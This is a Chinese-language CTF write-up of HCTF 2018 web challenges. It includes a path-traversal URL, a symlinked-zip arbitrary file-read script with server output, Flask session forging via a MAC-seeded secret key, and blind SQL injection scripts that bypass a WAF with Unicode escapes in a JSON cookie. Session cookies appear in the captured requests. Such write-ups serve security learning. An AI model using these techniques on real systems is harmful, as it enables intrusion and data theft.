HCTF 2018
以Redbud参赛,最终拿了第六,前排战队的实力实在是太强。
Warmup
文件读取
http://warmup.2018.hctf.io/index.php?file=source.php%3f../../../../../../../ffffllllaaaagggg
Hide and seek
第一天看了半天,总感觉这个题缺少条件。然后,出题人修修补补,改了又改,心累。最后考察的知识点也没啥营养性,感觉比较无趣。
很奇怪,为啥现在大家出题都不会自己测一下环境有没有问题,直接就上线了…
docker环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/Hideandseek
第一个知识点,ZIP 软连接解压,可以任意文件读取。
HTTP包如下
POST /upload HTTP/1.1
Host: hideandseek.2018.hctf.io
User-Agent: Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------14689847831755241969368914144
Content-Length: 515
Referer: http://hideandseek.2018.hctf.io/
Cookie: session=eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------14689847831755241969368914144
Content-Disposition: form-data; name="the_file"; filename="hellow.zip"
Content-Type: application/zip
PK
kjM
¹)linkUT kæ[kæ[ux÷/etc/passwdPK
kjM
¹)í¡linkUTkæ[ux÷PKJI
-----------------------------14689847831755241969368914144
Content-Disposition: form-data; name="submit"
Submit
-----------------------------14689847831755241969368914144--
写了一个EXP批量文件读取:
import requests
import random
import os
import string
import time
import zipfile
import sys
def generate_zip(path,i):
zip_name = 'moxiaoxi'+str(i)+'.zip'
link_namme = 'moxiaoxi'+str(i)
os.system("ln -s {} {}".format(path,link_namme))
print "ln -s {} {}".format(path,link_namme)
os.system("zip -y {} {}".format(zip_name,link_namme))
with open(zip_name,'r') as f:
data = f.read()
return zip_name,data
def exp(path,i):
zip_name,data = generate_zip(path,i)
# zip_name,data = rewrite(path,i)
session = requests.Session()
paramsPost = {"submit":"Submit"}
paramsMultipart = [('the_file', (zip_name, data, 'application/zip'))]
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36","Referer":"http://hideandseek.2018.hctf.io/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","DNT":"1"}
cookies = {"session":"eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI"}
response = session.post("http://hideandseek.2018.hctf.io/upload", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
if len(response.content)>5:
# print("Response body: %s" % response.content)
with open('out.txt','a+') as f:
f.write('\n\n{}\n\n{}'.format(path,response.content))
if __name__=='__main__':
name = 'test'+''.join(random.sample(string.ascii_letters + string.digits, 4))
exp(sys.argv[1],name)
一开始,出题人环境没配好,可以读取/root/.bash_history,还蛮有趣,监控出题人操作。
$ python hideandseek.py /root/.bash_history
ln -s /root/.bash_history moxiaoxitestkYcG
adding: moxiaoxitestkYcG (stored 0%)
Status code: 200
Response body: ls
curl http://127.0.0.1:80
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log
ps
ps -A
kill 86
ps -A
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log
ls
cd uploads/
ls
rm 1.zip
ls
cd dead_z3r0_a230418bbeaf0c06f83a51f6ff9d9b8caf23dc6a3aa4b9fa3f6ab9b85cff2212.zip_/
ls
ls -l
file dead_z3r0
cd ..
cd ..
ls
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +1000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +4000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +10000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +12000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +50000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +40000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +30000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +35000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +38000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +36000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +37000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +36500 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +1 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +5000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +50000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +60000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +60000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +80000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +100000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +300000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 100| grep linking
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +100000 | head -n 10000| grep linking
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +10000 | head -n 10000| grep linking
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep linking
ps -A
exit
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep linking
cat /etc/passwd
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep 'uwsgi'
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep 'uw'
cat /app/hard_t0_guess_dkp2s6d9sa/hard_t0_guess_also_9u5c_main.py
exit
正解应该先读取/proc/self/environ,得到路径。然后读取main函数。
很期待uwsgi+nginx+flask环境的组合问题,可惜…
python hideandseek.py /proc/self/environ
ln -s /proc/self/environ moxiaoxitestzGFp
adding: moxiaoxitestzGFp (stored 0%)
Status code: 200
Response body: UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=e04ab7732827SHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
python hideandseek.py /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
ln -s /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini moxiaoxitestE5jc
adding: moxiaoxitestE5jc (stored 0%)
Status code: 200
Response body: [uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app
得到源码:
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
关注random.seed(uuid.getnode()) ,uuid.getnode()是取mac地址转换的,所以为固定值。 我们只需要读取远程mac地址,然后本地搭建一个环境,伪造一波就好。这里伪造的时候,需要注意python版本为python3.
# moxiaoxi @ moxiaoxideMacBook-Pro in ~/Desktop/ZIP [13:13:39]
$ python hideandseek.py /sys/class/net/eth0/address
ln -s /sys/class/net/eth0/address moxiaoxitestTL7W
adding: moxiaoxitestTL7W (stored 0%)
Status code: 200
Response body: 12:34:3e:14:7c:62
https://www.vultr.com/tools/mac-converter/?mac_address=02%3A42%3Aa2%3A2a%3A1e%3A42
seed为20015589129314,
GET / HTTP/1.1
Host: hideandseek.2018.hctf.io
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.W-e7Sw.IvMRaI59t9NWnTGtNbJn0oBkMmY
Connection: close
Admin
docker 环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/admin
这题的思路和Hide and seek一样。
首先,源码泄漏https://github.com/woadsl1234/hctf_flask/
替换登陆name为admin。然后,登陆一下,得到加密的cookie
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = 'admin'#name
print session
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
与远程交互,替换一下cookie就可以得到flag
GET /index HTTP/1.1
Host: admin.2018.hctf.io
User-Agent: Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://admin.2018.hctf.io/login
Cookie: session=.eJxFkMuKwkAQRX9l6LWLpEc3ARdKYnCgqjF0DF0byWg06YcDUUls8d-nkcFZFFw4cLi3Hmx37JtLy5Jrf2smbNcdWPJgH98sYSI1d8q3Fh3MSGef5LJRpKtO5JuI5FaLSk2FhClKNUO_GdGpKNwdZDmgzDi4TQQui0WejSpkJU8D6qIl2Vr0EEP-pUEHZ04tSDIiL6ySJadq1YIvPTiIUC-t4qUPjkHIxUgOOLp1DPJgSS8GUWHwlXP2nLD9pT_urj-mOb8nKL3nlFqLPMzQJlZBh-nSUKU86pMntw71TYxpGWpsLTk0YjF_6TpXn5q3CXgh4Y-ca_cPVFVc62r6ArdL078-yOKIPX8BlRpvtQ.W-bNtA.azJFSmLfN1OcVVz3Lg5pLV5WlMw; remember_token=10|80e01e90de15e2f414ab634ab723fcdc0e394e97522b75ee66831a0b34c86add2e29334b0fd4b3336e1bb32c9c6a693f5b627882eba17fb4ea7124e397159373
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
得到flag
kzone
docker环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/kzone
同理,源码泄漏
http://kzone.2018.hctf.io/www.zip
审计,需要修改userAgent为QQ,比较好看题
(function () {
var sUserAgent = navigator.userAgent.toLowerCase();
if (sUserAgent.match(/QQ/i) != 'qq') {
window.location.href = 'https://qzone.qq.com';
}
})();
在member.php存在注入。主要区别在于setcookie.如果查询语句正常,只会出现两个setcookie。否则为四个。
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
注入点,查询出错,会出现4个setcookie,否则为两个setcookie
写脚本注入admin
import requests
import string
def test_once(index,s):
session = requests.Session()
paramsPost = {"login":"Login","pass":"1","user":"admin"}
cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/fish_admin/**/where/**/right(passw\\u006frd,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies)
flag = response.headers['Set-Cookie'].count('islogin')
if flag == 1:
print(index,s,'yes')
return True
elif flag == 2:
print(index,s,'no')
else:
print('[-] may be error,{}'.format(s))
return False
def hack():
ss = string.printable
num = 41
flag = ''
end = 0
i = 1
for i in range(1,num):
for s in ss:
if test_once(i,s+flag):
flag = s+flag
break
print flag
print flag
if __name__=='__main__':
hack()
# test_once(1,'6')
发现被改的没办法反解。
尝试伪造登陆了一波,发现登陆后也没什么东西。
POST /admin/list.php HTTP/1.1
Host: kzone.2018.hctf.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://kzone.2018.hctf.io/admin/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Cookie: islogin=1;login_data={"admin_user":"admin2'/**/uni\u006fn/**/select/**/1,'admin','cda9997020c313233bd2c1ff30ad5b15',4,5,6\u0023","admin_pass":"09891eef17901e93b7b259ae6a8e3654e08b5eaa"}
Connection: close
Upgrade-Insecure-Requests: 1
user=admin&pass=moxiaoxi111&login=Login
后面在数据库里翻到了flag。
import requests
import string
def get_payload():
# s = "admin' and ((select count(*) from information_schema.tables where table_schema='hctf_kouzone')=5);"
# s = """select 1 from information_schema.tables where table_schema='hctf_kouzone' and table_name='fish_admin'"""
# s = """select (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='hctf_kouzone' limit 0,1)=10"""
# s = """select (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema='hctf_kouzone' and table_name='F1444g' limit 0,1)=10"""
s = """select (select ascii(substr(F1a9,1,1)) from F1444g limit 0,1)=10"""
s = "admin' and ({});".format(s)
print "select * from fish_admin where username='{}".format(s)
s = s.replace(';','\u0023')
s = s.replace(' ','/**/')
print s
s = s.replace('or','\u006fr')
s = s.replace('=','\u003d')
s = s.replace("sub","\u0073\u0075\u0062")
s = s.replace('ascii','\u0061\u0073\u0063\u0069\u0069')
print s
return s
def test_once(index,s):
session = requests.Session()
paramsPost = {"login":"Login","pass":"1","user":"admin"}
# cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/F1444g/**/where/**/right(F1a9,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
# payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(table_name,{},1))/**/from/**/inf\u006frmation_schema.tables/**/where/**/table_schema\u003d'hctf_kouzone'/**/limit/**/0,1)\u003d{})\u0023".format(index,s)
# F1444g
# payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(column_name,{},1))/**/from/**/inf\u006frmation_schema.columns/**/where/**/table_schema\u003d'hctf_kouzone'/**/and/**/table_name\u003d'F1444g'/**/limit/**/0,1)\u003d{})\u0023".format(index,s)
# F1a9
payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(F1a9,{},1))/**/from/**/F1444g/**/limit/**/0,1)\u003d{})\u0023".format(index,s)
cookies = {"login_data":"{\"admin_user\":\""+payload+"\",\"admin_pass\":\"2\"}","islogin":"1"}
# cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/F1444g/**/where/**/right(F1a9,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies)
flag = response.headers['Set-Cookie'].count('islogin')
if flag == 1:
print(index,s,'yes')
return True
elif flag == 2:
print(index,s,'no')
else:
print('[-] may be error,{}'.format(s))
return False
def hack():
ss = string.printable
num = 41
flag = ''
end = 0
i = 1
for i in range(1,num):
for s in ss:
if test_once(i,ord(s)):
flag += s
break
print flag
print flag
if __name__=='__main__':
# hack()
# test_once(1,'6')
# get_payload()
hack()
这题有趣的点在于$login_data = json_decode($_COOKIE['login_data'], true);
直接bypass waf。
Share
扫描得到robots.txt 源码
http://share.2018.hctf.io/robots.txt
/* this terrible code */
class FileController < ApplicationController
before_action :authenticate_user!
before_action :authenticate_role
before_action :authenticate_admin
protect_from_forgery :except => [:upload , :share_people_test]
# post /file/upload
def upload
if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
file = params[:file][:myfile]
name = Base64.decode64(file.original_filename)
ext = name.split('.')[-1]
if ext == name || ext ==nil
ext=""
end
share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
share.write(Base64.decode64(file.read))
share.close
File.rename(share.path,share.path+"."+ext)
tmp = Sharefile.new
tmp.public = 0
tmp.path = share.path
tmp.name = name
tmp.tempname= share.path.split('/')[-1]+"."+ext
tmp.context = params[:file][:context]
tmp.save
end
redirect_to root_path
end
# post /file/Alpha_test
def Alpha_test
if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
fid = params[:fid].to_i
uid = params[:uid].to_i
if(fid > 0 && uid > 0)
if(Sharelist.find_by(sharefile_id: fid)==nil)
if(Sharelist.count("user_id = ?", uid.to_s) <5)
share = Sharelist.new
share.sharefile_id = fid
share.user_id = uid
share.save
end
end
end
end
redirect_to(root_path)
end
def share_file_to_all
file = Sharefile.find(params[:fid])
File.rename(file.path,Rails.root+"/public/download/"+file.name)
file.public = true
file.path = Rails.root+"/public/download/"+file.name
file.save
end
end
views
|-- devise
| |-- confirmations
| |-- mailer
| |-- passwords
| |-- registrations
| | `-- new.html.erb
| |-- sessions
| | `-- new.html.erb
| |-- shared
| `-- unlocks
|-- file
|-- home
| |-- Alphatest.erb
| |-- addtest.erb
| |-- home.erb
| |-- index.html.erb
| |-- publiclist.erb
| |-- share.erb
| `-- upload.erb
|-- layouts
| |-- application.html.erb
| |-- mailer.html.erb
| `-- mailer.text.erb
`-- recommend
`-- show.erb
# post /file/Alpha_test
def Alpha_test
if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
fid = params[:fid].to_i
uid = params[:uid].to_i
if(fid > 0 && uid > 0)
if(Sharelist.find_by(sharefile_id: fid)==nil)
if(Sharelist.count("user_id ="+ uid.to_s) <5)
share = Sharelist.new
share.sharefile_id = fid
share.user_id = uid
share.save
end
end
end
end
redirect_to(root_path)
end
后续看WP,有趣则补。
Game
逻辑问题
http://game.2018.hctf.io/web2/user.php?order=password
可以看到password的排序。可以疯狂注册用户,通过密码逐位与admin密码比较,从而得到admin密码。
bestrong
后续看WP,有趣则补。
bottle
后续看WP,有趣则补。